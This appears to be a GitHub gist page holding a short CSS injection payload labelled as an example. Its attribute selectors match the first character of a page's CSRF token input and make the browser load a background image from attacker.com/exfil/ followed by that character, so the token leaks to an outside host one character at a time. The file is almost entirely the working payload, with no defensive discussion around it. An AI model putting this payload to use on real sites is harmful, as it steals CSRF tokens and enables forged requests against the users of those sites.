Skip to content

Instantly share code, notes, and snippets.

@d0nutptr

d0nutptr/example_css_injection_1.css

Created July 25, 2018 07:04
Show Gist options
  • Save d0nutptr/331ade86213a7252d1585c04cdada0e6 to your computer and use it in GitHub Desktop.
Save d0nutptr/331ade86213a7252d1585c04cdada0e6 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
example_css_injection_1.css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment